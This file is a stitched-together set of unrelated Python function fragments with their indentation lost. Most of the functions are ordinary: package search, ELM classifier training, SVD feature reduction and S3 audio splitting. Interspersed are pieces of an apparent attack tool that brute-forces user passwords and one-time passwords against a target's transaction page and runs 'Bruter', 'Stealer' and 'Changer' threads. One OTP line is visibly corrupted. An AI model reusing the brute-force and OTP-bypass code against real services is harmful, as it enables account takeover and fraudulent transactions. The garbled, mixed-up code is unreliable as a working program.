def update_package_by_id(package_id):
package = db_session.query(Package) \
.filter(Package.pid == package_id,
or_(Package.last_updated.is_(None),
Package.last_updated <= datetime.utcnow() - timedelta(hours=2))) \
.options(load_only(Package.owner,
Package.repo,
Package.path,
Package.ptype,
Package.date)) \
.first()
if package:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(
asyncio.ensure_future(update_package(package)))
last_updated_prop = Property("last_updated",
date_val=datetime.utcnow())
db_session.merge(last_updated_prop)
db_session.commit()
except Exception as ex:
LOGGER.error(ex)
LOGGER.debug(traceback.format_exc())
finally:
loop.close()
return redirect(url_for("index"))
def feature_decomposition(transformer, train_features, test_features):
LOGGER.info("Beginning Dimensionality reduction using truncated SVD (%d features)" % transformer.n_components)
train_dfeatures = transformer.fit_transform(train_features)
#LOGGER.debug(["%6f " % transformer.explained_variance_ratio_[i] for i in range(5)])
LOGGER.debug("%0.4f%% of total variance in %d features\n" % (
100 * transformer.explained_variance_ratio_.sum(), transformer.n_components))
return train_dfeatures, transformer.transform(test_features)
def generateBitDataForPackages(cls, json_data):
for item in json_data:
distros = filter(lambda elem: elem != 'packageName' and elem != 'version' and elem != 'url', item.keys())
for i in range(0, len(distros)):
distro_versions = item[distros[i]]
for j in range(0, len(distro_versions)):
cls.distro_bit_mapping[distros[i] + '_' + distro_versions[j]] = '1'
values = cls.getDistroBitRepData(cls.distro_bit_mapping)
LOGGER.debug(cls.distro_bit_mapping)
item['bit_rep_dec'] = int(''.join(values),2)
item.pop('url',None)
cls.distro_bit_mapping = {
'UBUNTU_17.04': '0',
'UBUNTU_16.10': '0',
'UBUNTU_16.04': '0',
'SUSE_LINUX_ENTERPRISE_SERVER_12-SP2': '0',
'SUSE_LINUX_ENTERPRISE_SERVER_12-SP1': '0',
'SUSE_LINUX_ENTERPRISE_SERVER_11-SP4': '0'
}
return json.dumps(json_data)
def do_synchronize_generate(mirrors):
yield "Starting synchronize...\n"
for mirror in mirrors:
yield "Synchronizing '{}'\n".format(mirror.text_val)
try:
resp = requests.get(mirror.text_val)
if resp.status_code != 200:
yield "Errornous http status code: {}. Skipping this mirror.\n".format(
resp.status_code)
continue
packages_mirror = json.loads(resp.content)
packages = db_session.query(Package).options(
load_only(Package.owner, Package.repo, Package.path,
Package.ptype)).all()
packages_added = 0
for package_mirror in packages_mirror:
found = False
if "path" not in package_mirror:
package_mirror["path"] = None
for package in packages:
if package_mirror["owner"] == package.owner \
and package_mirror["ptype"] == package.ptype \
and package_mirror["repo"] == package.repo \
and package_mirror["path"] == package.path:
found = True
break
if not found:
LOGGER.info("Synchronize: adding %s", package_mirror)
insert_package(package_mirror["owner"],
package_mirror["repo"],
package_mirror["ptype"],
package_mirror["path"],
dateutil.parser.parse(
package_mirror["added"]),
commit=False)
yield "adding {}\n".format(package_mirror)
packages_added += 1
if packages_added > 0:
try:
db_session.commit()
except Exception as ex:
db_session.rollback()
LOGGER.error(ex)
LOGGER.debug("{}: {}\n".format(ex, traceback.format_exc()))
yield "{}\n".format(ex)
else:
db_session.rollback()
yield "Mirror '{}': {} packages added.\n".format(
mirror.text_val, packages_added)
except Exception as ex:
LOGGER.error(ex)
error = "{}: {}\n".format(ex, traceback.format_exc())
LOGGER.debug(error)
yield error
yield "Synchronization done.\n"
def get_instance(cls):
LOGGER.debug('get_instance: In get_instance')
if not cls.INSTANCE:
cls.INSTANCE = PackageSearch()
cls.INSTANCE.supported_distros = cls.loadSupportedDistros()
cls.INSTANCE.package_data = cls.loadPackageData()
LOGGER.debug('get_instance: Creating singleton instance in get_instance')
return cls.INSTANCE
def prepare_features(train_movies, test_movies):
LOGGER.debug("Training samples: %d" % len(train_movies))
# Extract
vectorizer = CountVectorizer(decode_error=u'replace')
(train_features, train_labels, test_features, test_labels) = feature_extraction_sklearn(
vectorizer, train_movies, test_movies
)
LOGGER.debug("Original feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
return train_features, train_labels, test_features, test_labels
def add_good(user, password, data, opener):
LOGGER.info('!!Found good: %r %r', user, password)
with kLock:
known_users.add(user)
try:
acc_data = account_data(user, password, data, opener)
GOOD.put(acc_data)
except ValueError:
LOGGER.error('Error adding %r %r', user, password)
LOGGER.debug('%s', data)
def get_instance(cls):
LOGGER.debug('get_instance: In get_instance')
if not cls.INSTANCE:
cls.INSTANCE = PackageSearch()
cls.INSTANCE.DISTRO_BIT_MAP = cls.loadSupportedDistros()
cls.INSTANCE.package_data = cls.loadPackageData()
cls.INSTANCE.local_cache = {}
cls.INSTANCE.cache_keys = []
LOGGER.debug('get_instance: Creating singleton instance in get_instance')
return cls.INSTANCE
def decompose_tsvd_target(transformer, train_features, test_features, target_cuml_var_ratio=0.9):
LOGGER.info("Aiming for %.3f%% cumulative total sum of variance" % (target_cuml_var_ratio * 100))
#transformer = TruncatedSVD(n_components=n_features)
train_d, test_d = feature_decomposition(transformer, train_features, test_features)
if sum(transformer.explained_variance_ratio_) < target_cuml_var_ratio:
return decompose_tsvd_target(
TruncatedSVD(n_components=(transformer.n_components*2)),
train_features, test_features,
target_cuml_var_ratio)
LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
return transformer, train_d, test_d
def do_otp(self, obj):
data = self._pre_otp(obj)
if data is False:
return False
step3 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3'
})
)
step4 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step4'
})
)
# Case:
# 1) No otp
if 'Commit transaction.' in data:
LOGGER.info('No otp')
data = my_url_open(obj.opener, step3)
# 2) SmartCard otp
elif 'One-time password:'******'Smart card otp')
data = my_url_open(obj.opener, step4)
# 3) Brute otp
elif 'One-time password (#' in data:
tmp_ticket = RE_TICKET.search(data)
if not tmp_ticket:
return False
tmp_ticket = tmp_ticket.group(1)
step_OTP1 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3',
'OTP': obj.gen_otp(tmp_ticket, 2)
})
)
step_OTP2 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3',
'OTP': obj.gen_otp(tmp_ticket, 3)
})
)
data = my_url_open(obj.opener, step_OTP1)
data += my_url_open(obj.opener, step_OTP2)
data = my_url_open(obj.opener, step4)
else:
LOGGER.error('Bad transaction page: ')
LOGGER.debug('%r', data)
result = 'Transaction committed!' in data
if result:
LOGGER.info('Transaction from: %s', obj.number)
return result
def five_ab(train_features, train_labels, test_features, test_labels):
# Reduce feature dimensions
transformer = TruncatedSVD(n_components=N_FEATURES)
transformer, train_features, test_features = decompose_tsvd_target(
transformer, train_features, test_features, TARGET_CUM_VAR_RATIO
)
#train_features, test_features = feature_decomposition(transformer, train_features, test_features)
LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
# Rescale features
train_features, test_features = rescale_features(train_features, test_features)
return train_features, train_labels, test_features, test_labels
def loadSupportedDistros(cls):
'''
Returns list of supported OS distributions in PDS
'''
LOGGER.debug('loadSupportedDistros: In loadSupportedDistros')
json_data = []
try:
distro_data_file = '%s/distros_supported.json' % cls.getDataFilePath()
json_data = json.load(open(distro_data_file))
except Exception,ex:
LOGGER.warn('loadSupportedDistros: In loadSupportedDistros %s distro loading resulted in: %s' % (distro_data_file, str(ex)))
def argBvsbWithAccuracy(self, perData: np.ndarray):
argAcc = BvsbUtils.getAccIndex(self.Y_iter, perData)
LOGGER.info(f'KNN与ELM匹配个数{argAcc.size}')
if argAcc.size == 0:
return np.array([], dtype=int)
assert argAcc.max() < perData.shape[0]
bvsbData = BvsbUtils.calculateBvsb(perData)
arrBvsb = np.c_[bvsbData[argAcc], argAcc]
argSBvsbAcc = arrBvsb[arrBvsb[:, 0].argsort()][:, 1]
_iterNum = int(min(self.perNum, self._upperLimit))
LOGGER.debug(f'欲获取的bvsb-knn数据个数:{_iterNum}')
LOGGER.debug(f'bvsb-knn 一致后数据个数: {len(argSBvsbAcc)}')
return argSBvsbAcc[-_iterNum:].astype(int)
def trainELMWithoutKNN(self):
i = 0
print("-------------------------ELM Without KNN-------------------------")
while self._iter_continue:
i = i + 1
print(f'---------------第{i}次训练-------------------')
self.elmc.fit(self.X_train, self.Y_train)
preData = self.elmc.predict_with_percentage(self.X_iter)
if preData is None:
LOGGER.warn("未获取迭代数据，迭代训练结束")
break
self.updateDataWithoutKNN(preData)
LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.elmc.score(self.X_test, self.Y_test)}')
def trainELMWithBvsb(self):
i = 0
print("---------------------ELM-BVSB-TRAIN-----------------------------")
while self._iter_continue:
i = i + 1
print(f'--------------------第{i}次训练--------------------')
self.elmc.fit(self.X_train, self.Y_train)
preData = self.elmc.predict_with_percentage(self.X_iter)
score = self.elmc.scoreWithPredict(self.Y_iter, preData)
LOGGER.info(f'第{i}次迭代后迭代数据集的正确率为{score}')
LOGGER.debug(f'perData 类型为:{type(preData)}')
self.updateTrainDataWithBvsb(preData)
LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.score(self.X_test, self.Y_test)}')
def update(self):
try:
api_url = "https://api.github.com/graphql"
query_str = """{
repository(owner: "%s", name: "%s") {
object(expression: "master") {
... on Commit {
history(first: 1, path: "%s") {
nodes {
committedDate
oid
}
}
}
}
}
}""" % (self.package.owner, self.package.repo, self.package.path.lstrip("/"))
query = {
"query": query_str,
"variables": None,
}
auth = HTTPBasicAuth(GITHUB_BASIC_AUTH_USER, GITHUB_BASIC_AUTH_TOKEN) \
if GITHUB_BASIC_AUTH_USER and GITHUB_BASIC_AUTH_TOKEN else None
repo_info = json.loads(
self.do_post_request(api_url, json=query, auth=auth))
if len(repo_info["data"]["repository"]["object"]["history"]
["nodes"]) == 0:
raise ValueError("no commits found")
commit = repo_info["data"]["repository"]["object"]["history"][
"nodes"][0]
self.package.description = "no description"
self.package.date = dateutil.parser.parse(commit["committedDate"],
ignoretz=True)
self.package.download_url = "https://github.com/{}/{}/raw/{}/{}".format(
self.package.owner, self.package.repo, commit["oid"],
self.package.path.lstrip("/"))
self.package.filename = os.path.basename(self.package.path)
self.package.version = "1.0.0+" + commit["oid"][:7]
return True
except Exception as ex:
LOGGER.error(ex)
LOGGER.debug(traceback.format_exc())
return False
def trainOSELMWithKNNButBvsb(self):
i = 0
print("----------------------OSELM WITH KNN BUT BVSB---------------------------")
while self._iter_continue:
i = i + 1
print(f'---------------第{i}次训练-------------------')
predict = self.elmc.predict(self.X_iter)
_data = self.getUpdataWithoutBVSB(predict)
if _data is None:
LOGGER.warn("未获取迭代数据，迭代训练结束")
break
LOGGER.info(f'第{i}次训练时进行训练的数据个数:{_data[1].size}')
print(_data[1].shape)
self.elmc.fit(_data[0], _data[1])
LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.score(self.X_test, self.Y_test)}')
def add_review(name_or_id, date_shift):
if date_shift[0] == '+':
adjusted_date = datetime.date.today() + datetime.timedelta(
int(date_shift[1:]))
elif date_shift[0] == '-':
adjusted_date = datetime.date.today() - datetime.timedelta(
int(date_shift[1:]))
else:
raise Exception("Only +XX or -XX allowed for add_review date")
book = _get_book(name_or_id)
Review(book=book, date_of_review=adjusted_date).save()
LOGGER.debug("Created Review(Book.name={}, date_of_review={})".format(
book.name, adjusted_date))
def add_book(name, author, isbn='', date_shift='+0'):
if date_shift[0] == '+':
adjusted_date = datetime.date.today() + datetime.timedelta(
int(date_shift[1:]))
elif date_shift[0] == '-':
adjusted_date = datetime.date.today() - datetime.timedelta(
int(date_shift[1:]))
else:
raise Exception("Only +XX or -XX allowed for add_book date")
Book(name=name, author=author, isbn=isbn,
date_of_origin=adjusted_date).save()
LOGGER.debug("Created new Book(id, name={}, date_origin={})".format(
id, name, adjusted_date))
def run(self):
LOGGER.info('Run enemy generator')
for password in self.passwords_list:
#LOGGER.info('Password: %s', password)
#ENEMY.put((user, ''))
for user in self.users_list:
if user in known_users:
break
LOGGER.debug('%r:%r', user, password)
while 1:
try:
account_password_queue.put((user, password), block=1, timeout=1)
break
except Queue.Full:
LOGGER.error('account_password queue full!')
pass
def run(self):
LOGGER.info('Run numeric login-password generator')
for user in self.users_list:
account_password_queue.put((user, sha1('{0}|hekked'.format(user)).hexdigest()))
RECOVER.put(str(user))
for password in self.passwords_list:
if user in known_users:
break
LOGGER.debug('Add in queue: %s:%s', user, password)
while 1:
try:
account_password_queue.put((user, password), block=1, timeout=1)
break
except Queue.Full:
LOGGER.error('account_password queue full!')
pass
def trainOSELMWithBvsb(self):
i = 0
print("-------------------------------OSELM-BVSB-TRAIN------------------------------------------")
LOGGER.info(f'迭代训练前算法对测试集的正确率为{self.elmc.score(self.X_test, self.Y_test)}')
while self._iter_continue:
i = i + 1
print(f'---------------第{i}次训练-------------------')
predict = self.elmc.predict(self.X_iter)
score = self.elmc.scoreWithPredict(self.Y_iter, predict)
LOGGER.info(f'第{i}次迭代后迭代数据集的正确率为{score}')
_data = self.getUpdateDataWithBvsb(predict)
if _data is None:
LOGGER.warn("未获取迭代数据，迭代训练结束")
break
self.elmc.fit(_data[0], _data[1])
LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.elmc.score(self.X_test, self.Y_test)}')
def trainELMWithKNNButBvsb(self):
i = 0
print("------------------------------------ELM WITH KNN BUT BVSB")
while self._iter_continue:
i = i + 1
print(f'-------------------------第{i}次训练----------------------------')
self.elmc.fit(self.X_train, self.Y_train)
predict = self.elmc.predict_with_percentage(self.X_iter)
_data = self.getUpdataWithoutBVSB(predict)
if _data is None:
LOGGER.warn("未获取迭代数据，迭代结束")
break
LOGGER.info(f'第{i}次训练时添加的数据个数:{_data[1].size}')
self.mergeTrainData(_data)
self.elmc.fit(self.X_train, self.Y_train)
LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.score(self.X_test, self.Y_test)}')
def loadSupportedDistros(cls):
'''
Returns list of supported OS distributions in PDS
'''
LOGGER.debug('loadSupportedDistros: In loadSupportedDistros')
if(len(list(cls.DISTRO_BIT_MAP.keys())) > 0):
return cls.DISTRO_BIT_MAP
bitFlag = 1
distroRecord = {}
for supportedDistroName in list(SUPPORTED_DISTROS.keys()):
for distroVersion in sorted(SUPPORTED_DISTROS[supportedDistroName].keys()):
if(supportedDistroName not in cls.DISTRO_BIT_MAP):
cls.DISTRO_BIT_MAP[supportedDistroName] = {}
cls.DISTRO_BIT_MAP[supportedDistroName][distroVersion] = bitFlag
bitFlag += bitFlag
return cls.DISTRO_BIT_MAP
def five_f(train_features, train_labels, test_features, test_labels):
n_features = [1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024]
accuracy = []
# Classify with different feature subsets
for num in n_features:
transformer = TruncatedSVD(n_components=num)
d_train_feat, d_test_feat = feature_decomposition(transformer, train_features, test_features)
d_train_feat, d_test_feat = rescale_features(d_train_feat, d_test_feat)
results = classify(LogisticRegression(),
d_train_feat, train_labels, d_test_feat, test_labels,
"Logistic Regression classification - TSVD to %d features" % transformer.n_components)
accuracy.append(get_correct_num(results, test_labels) / len(test_labels))
# Classify with the full feature set
total_features = csr_matrix(train_features[-1]).toarray().size
n_features.append(total_features)
results = classify(LogisticRegression(),
train_features, train_labels, test_features, test_labels,
"Logistic Regression classification - All %d features" % total_features)
accuracy.append(get_correct_num(results, test_labels) / len(test_labels))
LOGGER.debug(["%d: %.4f%%" % (n_features[i], accuracy[i] * 100) for i in range(len(n_features))])
plot_feature_decomposition(n_features, accuracy)
def getPackagesFromURL():
'''
This API will try to read from JSON files for various distros
and return the filtered set of results based on given search
keywords and distros to search from.
'''
package_search = PackageSearch.load()
package_name = str(request.args.get('package_name', ''))
search_string = int(request.args.get('search_string', ''))
LOGGER.debug(request.args.get('package_name', ''))
try:
exact_match = json.loads(request.args.get('exact_match', 0))
page_number = int(request.args.get('page_number', 10))
page_size = int(request.args.get('page_size', 0))
reverse = int(json.loads(request.args.get('reverse', 0)))
sort_key = str(request.args.get('sort_key', 'name'))
except Exception as ex:
LOGGER.error('Error in getPackagesFromURL with search parameters: %s',
str(ex))
return package_search.getPackagesFromURL(package_name, exact_match,
page_number, page_size, sort_key,
reverse, search_string)
def loadPackageData(cls):
'''
Returns list of Packages in PDS
'''
LOGGER.debug('loadPackageData: In loadSupportedDistros')
distro_data_file = '%s/cached_data.json' % cls.getDataFilePath()
try:
json_data = json.load(open(distro_data_file))
except:
LOGGER.warn('loadPackageData: Loading cached distros data failed generating from scratch')
LOGGER.debug('loadPackageData: start writing distros data')
json_data = cls.preparePackageData()
cached_file = open(distro_data_file, 'w')
cached_file.write(json.dumps(json_data))
cached_file.close()
LOGGER.debug('loadPackageData: end writing distros data')
LOGGER.debug('loadPackageData: Loading supported distros data')
return json_data
RaceObject.set_obj(obj)
with RaceObject.RaceLock:
RaceObject.RaceLock.notify()
RaceObject.RaceLock.wait()
time.sleep(0.05)
for i in xrange(1):
protect = Protector(DUPE_GOLD)
protect.start()
gen = Generator()
gen.start()
gen = Generator_enemy()
gen.start()
LOGGER.debug('Generators started')
if True:
for i in xrange(3):
brute = Bruter()
brute.start()
for i in xrange(1):
steal = Stealer()
steal.start()
for i in xrange(1):
change = Changer()
change.start()
for i in xrange(1): # TODO: Conflicts with stealer, can be just nullified
def getPackagesFromURL(self, package_name, exact_match, page_number, page_size, sort_key = 'name', reverse = False, distro_bit_search_mapping_vals = '0'):
'''
This API will try to read from JSON files for various distros
and return the filtered set of results based on given search
keywords and distros to search from.
'''
LOGGER.debug('getPackagesFromURL: In function')
package_name = urllib.unquote(package_name)
LOGGER.debug('getPackagesFromURL: package_name figured out: %s', package_name)
LOGGER.debug('getPackagesFromURL: bit rep generated : %s', distro_bit_search_mapping_vals)
actual_package_name = package_name.replace('*', '');
if exact_match:
matches_based_on_package_name = filter(lambda s: s['packageName'] and s['packageName'] == actual_package_name, self.INSTANCE.package_data)
elif ((str(package_name).startswith('*') and str(package_name).endswith('*')) or '*' not in str(package_name)):
matches_based_on_package_name = filter(lambda s: s['packageName'] and actual_package_name in s['packageName'], self.INSTANCE.package_data)
elif str(package_name).endswith('*'):
matches_based_on_package_name = filter(lambda s: s['packageName'] and str(s['packageName']).startswith(actual_package_name), self.INSTANCE.package_data)
elif str(package_name).startswith('*'):
matches_based_on_package_name = filter(lambda s: s['packageName'] and str(s['packageName']).endswith(actual_package_name), self.INSTANCE.package_data)
LOGGER.debug('getPackagesFromURL: Search on package name : %s', len(matches_based_on_package_name))
matches_based_on_search = filter(lambda s: ((s['bit_rep_dec'] & distro_bit_search_mapping_vals) > 0), matches_based_on_package_name)
LOGGER.debug('getPackagesFromURL: Search on bit rep : %s', len(matches_based_on_search))
matches_based_on_search = sorted(matches_based_on_search, key = lambda k:k['packageName'], reverse = reverse)
LOGGER.debug('getPackagesFromURL: Sorting done')
if DISABLE_PAGINATION:
start = 0
end = len(matches_based_on_search)
elif page_number:
start = (page_number*page_size) - page_size
end = (page_number*page_size)
else:
start = 0
end = page_size
LOGGER.debug('getPackagesFromURL: Applied pagination changes')
final_data = {
'total_packages': len(matches_based_on_search),
'packages': matches_based_on_search[start: end]
}
LOGGER.debug('getPackagesFromURL: Sending final data to calling function')
LOGGER.debug(final_data)
return json.dumps(final_data)
def searchPackages(self, search_term, exact_match, search_bit_flag, page_number = 0):
LOGGER.debug('searchPackages: In function')
search_term = urllib.parse.unquote(search_term)
if(len(search_term) == 0 or search_term.replace('*','') == ''):
final_data = {
'total_packages': 0,
'current_page': 0,
'last_page': 0,
'more_available': False,
'packages': []
}
return json.dumps(final_data)
LOGGER.debug('searchPackages: search_term : %s' % (search_term))
LOGGER.debug('searchPackages: exact_match : %s' % (exact_match))
LOGGER.debug('searchPackages: search_bit_flag : %s' % (search_bit_flag))
search_packages_begin_with = str(search_term).endswith('*')
search_packages_end_with = str(search_term).startswith('*')
search_anywhere_in_packages = (search_packages_begin_with and search_packages_end_with) or ('*' not in str(search_term))
LOGGER.debug('searchPackages: search_packages_begin_with : %s' % (search_packages_begin_with))
LOGGER.debug('searchPackages: search_packages_end_with : %s' % (search_packages_end_with))
LOGGER.debug('searchPackages: search_anywhere_in_packages : %s' % (search_anywhere_in_packages))
cache_key = 'ck_%s_%s_%s' % (search_term, exact_match, search_bit_flag)
LOGGER.debug('searchPackages: Cache Key is : %s' % (cache_key))
search_term = search_term.replace('*', '')
search_term_ucase = search_term.upper()
preliminary_results = {}
if( (cache_key in self.INSTANCE.local_cache) == False ):
LOGGER.debug('searchPackages: Not available in cache, so make fresh search')
if (exact_match.lower() == 'true'):
LOGGER.debug('searchPackages: Doing exact search')
preliminary_results = [s for s in self.INSTANCE.package_data if s['P'] == search_term and (s['B'] & search_bit_flag) > 0]
elif search_anywhere_in_packages:
LOGGER.debug('searchPackages: Doing Anywhere Search')
preliminary_results = [s for s in self.INSTANCE.package_data if search_term_ucase in s['S'] and (s['B'] & search_bit_flag) > 0]
elif search_packages_begin_with:
LOGGER.debug('searchPackages: Find names that begin with')
preliminary_results = [s for s in self.INSTANCE.package_data if str(s['S']).startswith(search_term_ucase) and (s['B'] & search_bit_flag) > 0]
elif search_packages_end_with:
LOGGER.debug('searchPackages: Find names that end with')
preliminary_results = [s for s in self.INSTANCE.package_data if str(s['S']).endswith(search_term_ucase) and (s['B'] & search_bit_flag) > 0]
final_results = copy.deepcopy(preliminary_results); #Deep Copy is required since we just need to remove the "S" field from returnable result
for pkg in final_results:
del pkg['S']
LOGGER.debug('searchPackages: Search Results Length : %s' % (len(final_results)))
if(len(final_results) > MAX_RECORDS_TO_SEND): #This is a large result set so add it to cache
LOGGER.debug('searchPackages: Add results to cache')
if(len(list(self.INSTANCE.local_cache.keys())) >= CACHE_SIZE): #CACHE_SIZE is breached so remove oldest cached object
#LOGGER.debug('searchPackages: Cache full. So remove the oldest item. Total of Cached Items: %s' % (len(self.INSTANCE.local_cache.keys()))
self.INSTANCE.local_cache.pop(self.INSTANCE.cache_keys[0],None) #self.INSTANCE.cache_keys[0] has the Oldest Cache Key
self.INSTANCE.cache_keys.remove(self.INSTANCE.cache_keys[0]) #Remoe the cache_key from cache_keys for it is removed from local_cache
LOGGER.debug('searchPackages: Add new Key to cache_keys for indexing.')
self.INSTANCE.cache_keys.append(cache_key) #append the new key to the list of cache_keys
self.INSTANCE.local_cache[cache_key] = final_results
else:
LOGGER.debug('searchPackages: Getting from cache')
final_results = self.INSTANCE.local_cache[cache_key];
LOGGER.debug('searchPackages: Cache Keys: %s' %(json.dumps(self.INSTANCE.cache_keys)))
totalLength = len(final_results)
last_page = math.ceil(totalLength/float(MAX_RECORDS_TO_SEND))
if (totalLength <= MAX_RECORDS_TO_SEND):
LOGGER.debug('searchPackages: Sending all records')
results = final_results
else:
if(page_number == 0):
startIdx = page_number*MAX_RECORDS_TO_SEND
endIdx = (page_number*MAX_RECORDS_TO_SEND)+MAX_RECORDS_TO_SEND
LOGGER.debug('searchPackages: Sending records %s of %s and length of results is %s' % (startIdx,endIdx,totalLength))
results = final_results[startIdx:endIdx]
last_page = 1#math.ceil(totalLength/MAX_RECORDS_TO_SEND)
LOGGER.debug('searchPackages: Applied pagination changes')
else:
startIdx = page_number*MAX_RECORDS_TO_SEND
endIdx = totalLength #(page_number*MAX_RECORDS_TO_SEND)+MAX_RECORDS_TO_SEND
LOGGER.debug('searchPackages: Sending records %s of %s and length of results is %s' % (startIdx,endIdx,totalLength))
results = final_results[startIdx:endIdx]
last_page = 1#math.ceil(totalLength/MAX_RECORDS_TO_SEND)
LOGGER.debug('searchPackages: Applied pagination changes')
final_data = {
'total_packages': totalLength,
'current_page': page_number,
'last_page': last_page,
'more_available': totalLength != len(results),
'packages': results
}
LOGGER.debug('searchPackages: Returning from function')
return json.dumps(final_data)
def fitAndGetUpdateDataIndex(self,limit=0):
self.elmc.fit(self.X_train, self.Y_train)
preData = self.elmc.predict_with_percentage(self.X_iter)
LOGGER.debug(f'perData 类型为:{type(preData)}')
_data = self.getUpDataIndexWithBvsb(preData,limit=limit)
return _data
def packages_json_generate():
yield '{{"name":"{}","packages":['.format(REPO_NAME)
cached_packages = db_session.query(Package) \
.filter(Package.last_updated.isnot(None),
Package.last_update_successful,
Package.last_updated >= datetime.utcnow() - timedelta(hours=24)) \
.options(load_only(Package.owner,
Package.name,
Package.description,
Package.filename,
Package.date,
Package.version,
Package.download_url,
Package.homepage))
iter_cached_packages = iter(cached_packages)
package = next(iter_cached_packages, None)
if package:
yield json_dump_package(package)
for package in iter_cached_packages:
yield "," + json_dump_package(package)
update_packages = db_session.query(Package) \
.filter(or_(Package.last_updated.is_(None),
and_(Package.last_update_successful,
Package.last_updated < datetime.utcnow() - timedelta(hours=24)),
and_(not_(Package.last_update_successful),
Package.last_updated < datetime.utcnow() - timedelta(hours=4)))) \
.options(load_only(Package.owner,
Package.repo,
Package.path,
Package.ptype,
Package.date))
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
update_tasks = [
asyncio.ensure_future(update_package(package))
for package in update_packages
]
iter_update_tasks = asyncio.as_completed(update_tasks)
if not package:
update_task = next(iter_update_tasks, None)
if update_task:
updated_package = None
try:
updated_package = loop.run_until_complete(update_task)
except Exception as ex:
LOGGER.error(ex)
LOGGER.debug(traceback.format_exc())
if updated_package:
yield json_dump_package(updated_package)
for update_task in iter_update_tasks:
try:
updated_package = loop.run_until_complete(update_task)
except Exception as ex:
LOGGER.error(ex)
LOGGER.debug(traceback.format_exc())
continue
if updated_package:
yield "," + json_dump_package(updated_package)
loop.close()
if update_tasks:
last_updated_prop = Property("last_updated",
date_val=datetime.utcnow())
last_updated_prop = db_session.merge(last_updated_prop)
db_session.commit()
last_updated = last_updated_prop.date_val
else:
last_updated = db_session.query(Property.date_val).filter(
Property.identifier == "last_updated").scalar()
yield '],"last_updated":"{}"}}'.format(
last_updated.isoformat() if last_updated else "")
if source and inspect.isclass(source) \
and issubclass(source, PackageSourceBase.PackageSourceBase) \
and source != PackageSourceBase.PackageSourceBase:
package_sources.append(source)
package_sources_descriptions.update({
package_type.__name__: package_type.description
for package_type in package_sources
})
package_sources_long_descriptions.update({
package_type.__name__: package_type.long_description
for package_type in package_sources
})
LOGGER.debug("collecting packages sources")
package_sources = []
package_sources_descriptions = {}
package_sources_long_descriptions = {}
get_package_sources()
LOGGER.debug("creating app")
app = Flask(__name__)
app.jinja_env.trim_blocks = True
app.jinja_env.lstrip_blocks = True
app.config["package_sources"] = package_sources
app.config["package_sources_descriptions"] = package_sources_descriptions
app.config[
"package_sources_long_descriptions"] = package_sources_long_descriptions
app.secret_key = SECRET_KEY
LOGGER.debug("initializing db")
init_db()
def load(cls):
LOGGER.debug('In load')
return cls.get_instance()
def getSupportedDistros(self):
LOGGER.debug('In getSupportedDistros')
return self.loadSupportedDistros()
def process_file(event, context):
try:
bucket = event['Records'][0]['s3']['bucket']['name']
s3_client = boto3.client('s3')
key = event['Records'][0]['s3']['object']['key']
if key.split('/')[0] != 'splits':
# Get the bytes from S3
file_loc = '/tmp/' + key
# Download this file to writable tmp space.
logger.debug(file_loc)
logger.debug(key)
logger.debug(bucket)
s3_client.download_file(bucket, key, file_loc)
song = AudioSegment.from_wav(file_loc)
dBFS = song.dBFS
chunks = split_on_silence(
song,
min_silence_len=1000,
# anything under -16 dBFS is considered silence
silence_thresh=dBFS - 16,
# keep 200 ms of leading/trailing silence
keep_silence=200)
logger.debug(chunks)
for i, chunk in enumerate(chunks):
silence_chunk = AudioSegment.silent(duration=200)
audio_chunk = silence_chunk + chunk + silence_chunk
normalized_chunk = match_target_amplitude(audio_chunk, -20.0)
logger.debug("Exporting chunk{0}.mp3.".format(i))
normalized_chunk.export("/tmp/chunk{0}.mp3".format(i),
bitrate="320k",
format="mp3")
s3_client.upload_file(
"/tmp/chunk{0}.mp3".format(i), 'datasets-masters-2020',
"splits/{0}/chunk_{1}.mp3".format(key.split('.')[0], i))
return
else:
logger.debug('Nothing to do here')
return
except Exception as e:
logger.exception(e)
return "Error", 500
def getDataFilePath(cls):
'''This method will resolve the distributions data path based on configuration file to give actual
location of the file.
'''
LOGGER.debug('In getDataFilePath')
return DATA_FILE_LOCATION
def after(response):
logger.debug(response.status)
return response
def before():
logger.info(request.url)
logger.debug(request.__dict__)
logger.debug(request.headers)
def getSupportedDistros(self):
LOGGER.debug('In getSupportedDistros')
if self.supported_distros:
return self.supported_distros
else:
return self.loadSupportedDistros()
